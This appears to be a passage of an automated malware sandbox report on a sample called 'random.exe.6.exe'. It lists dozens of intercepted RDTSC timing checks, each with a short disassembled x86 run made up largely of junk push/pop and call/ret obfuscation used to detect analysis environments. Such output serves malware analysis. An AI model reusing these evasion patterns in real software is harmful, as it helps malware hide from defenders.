Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C86F82 second address: C86FC0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F62B85207EBh 0x00000008 jmp 00007F62B85207E5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 jmp 00007F62B85207E7h 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C86FC0 second address: C86FC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C86FC5 second address: C87041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F62B85207E3h 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F62B85207D8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov edx, dword ptr [ebp+122D305Eh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F62B85207D8h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d mov dword ptr [ebp+122D3D32h], edi 0x00000053 push 00000003h 0x00000055 mov ecx, dword ptr [ebp+122D2E5Ah] 0x0000005b push A34B63BBh 0x00000060 pushad 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C87041 second address: C8709C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F62B87735D6h 0x0000000a popad 0x0000000b jns 00007F62B87735E2h 0x00000011 popad 0x00000012 xor dword ptr [esp], 634B63BBh 0x00000019 mov edx, dword ptr [ebp+122D2D02h] 0x0000001f lea ebx, dword ptr [ebp+1244BDA8h] 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007F62B87735D8h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f push eax 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: C8735E second address: C87362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA7A41 second address: CA7A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA58DD second address: CA58F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B85207E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA5D34 second address: CA5D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F62B87735DCh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F62B87735D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA6461 second address: CA6465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA65DE second address: CA65EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jne 00007F62B87735D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA65EB second address: CA6617 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F62B85207DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F62B85207F7h 0x00000010 jg 00007F62B85207E3h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA6617 second address: CA661D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA68C6 second address: CA691B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E2h 0x00000007 jmp 00007F62B85207E6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F62B85207E2h 0x00000016 jmp 00007F62B85207DDh 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA691B second address: CA6921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA6921 second address: CA6925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA6925 second address: CA6931 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62B87735D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA6931 second address: CA6946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E0h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA6BB4 second address: CA6BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CA7613 second address: CA7638 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F62B85207E9h 0x00000008 pop ebx 0x00000009 jc 00007F62B85207DEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAC5D1 second address: CAC5DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAC5DB second address: CAC5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAC5DF second address: CAC600 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62B87735D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F62B87735E2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAC600 second address: CAC62F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jng 00007F62B85207F8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62B85207DAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAB5DB second address: CAB5FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F62B87735D6h 0x00000009 jmp 00007F62B87735DBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jng 00007F62B87735E8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAB5FD second address: CAB601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAB601 second address: CAB605 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAC7BD second address: CAC7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAC7C1 second address: CAC7C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CAC7C7 second address: CAC7CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB236B second address: CB237E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 js 00007F62B87735D6h 0x0000000b jl 00007F62B87735D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1AE9 second address: CB1AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B85207DFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1AFC second address: CB1B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1B00 second address: CB1B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1B06 second address: CB1B0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1B0B second address: CB1B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1C4E second address: CB1C7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F62B87735E3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1ED3 second address: CB1EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F62B85207D6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB1EE2 second address: CB1EEC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62B87735D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB2191 second address: CB2197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB2197 second address: CB219C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB219C second address: CB21B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E0h 0x00000007 push eax 0x00000008 jp 00007F62B85207D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB5015 second address: CB502F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F62B87735DBh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB502F second address: CB5034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB5034 second address: CB506D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007F62B87735DBh 0x00000013 jnc 00007F62B87735D8h 0x00000019 popad 0x0000001a pop eax 0x0000001b sub edi, 341B1781h 0x00000021 push 6A5D4CAFh 0x00000026 push esi 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB5657 second address: CB5660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB5CDA second address: CB5CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB60D5 second address: CB60F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007F62B85207E3h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB6793 second address: CB67B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F62B87735DFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB67B0 second address: CB67F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F62B85207D8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 jnc 00007F62B85207DBh 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+12445982h], ecx 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D1DD1h], edi 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e pushad 0x0000003f popad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB71E8 second address: CB71EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CB81F5 second address: CB81F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CBA872 second address: CBA876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CBAEE0 second address: CBAF21 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62B85207E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F62B85207E2h 0x00000013 jmp 00007F62B85207E0h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CBC45E second address: CBC4C5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62B87735D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d add di, 40F4h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+12449451h], ecx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F62B87735D8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 jmp 00007F62B87735DAh 0x0000003b add dword ptr [ebp+122D3239h], edi 0x00000041 pushad 0x00000042 mov ebx, dword ptr [ebp+122D2E3Ah] 0x00000048 sub dword ptr [ebp+122D2398h], edi 0x0000004e popad 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push esi 0x00000054 pop esi 0x00000055 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CBC4C5 second address: CBC4CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CBC4CF second address: CBC4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CBF039 second address: CBF04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 jmp 00007F62B85207DCh 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CBF04D second address: CBF07C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F62B87735E9h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC1DBA second address: CC1DE6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62B85207EDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F62B85207D8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC2F3D second address: CC2F7F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F62B87735D8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov ebx, 3EB25A24h 0x0000002b push 00000000h 0x0000002d add di, 34A5h 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC20A4 second address: CC20A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC2F7F second address: CC2F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC2F84 second address: CC2F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC2F8A second address: CC2F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC3F02 second address: CC3F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC3165 second address: CC316F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62B87735D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC3F06 second address: CC3F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC3F0C second address: CC3F4C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62B87735DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F62B87735D8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+124482C4h], ecx 0x0000002d push 00000000h 0x0000002f sbb bh, 00000021h 0x00000032 push eax 0x00000033 pushad 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC3F4C second address: CC3F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007F62B85207DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC4F8E second address: CC5013 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62B87735D8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F62B87735D8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 js 00007F62B87735D8h 0x0000002d mov ebx, edx 0x0000002f mov bh, 0Eh 0x00000031 push 00000000h 0x00000033 jne 00007F62B87735E5h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007F62B87735D8h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 sub dword ptr [ebp+122D38ABh], edx 0x0000005b mov dword ptr [ebp+122D1D4Fh], ecx 0x00000061 xchg eax, esi 0x00000062 jo 00007F62B87735E4h 0x00000068 push eax 0x00000069 push edx 0x0000006a jng 00007F62B87735D6h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC4108 second address: CC410C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC410C second address: CC4110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC4110 second address: CC4119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC626C second address: CC6276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F62B87735D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC7163 second address: CC7182 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F62B85207DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jmp 00007F62B85207DAh 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC8114 second address: CC81C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F62B87735E7h 0x0000000f nop 0x00000010 push edx 0x00000011 mov bx, ax 0x00000014 pop edi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F62B87735D8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 xor edi, dword ptr [ebp+122D2971h] 0x00000037 jg 00007F62B87735DEh 0x0000003d mov ebx, dword ptr [ebp+122D2FAAh] 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007F62B87735D8h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f xchg eax, esi 0x00000060 ja 00007F62B87735E2h 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b push edi 0x0000006c pop edi 0x0000006d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CC81C0 second address: CC81DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: CCA13A second address: CCA158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62B87735E9h 0x00000009 popad 0x0000000a rdtsc
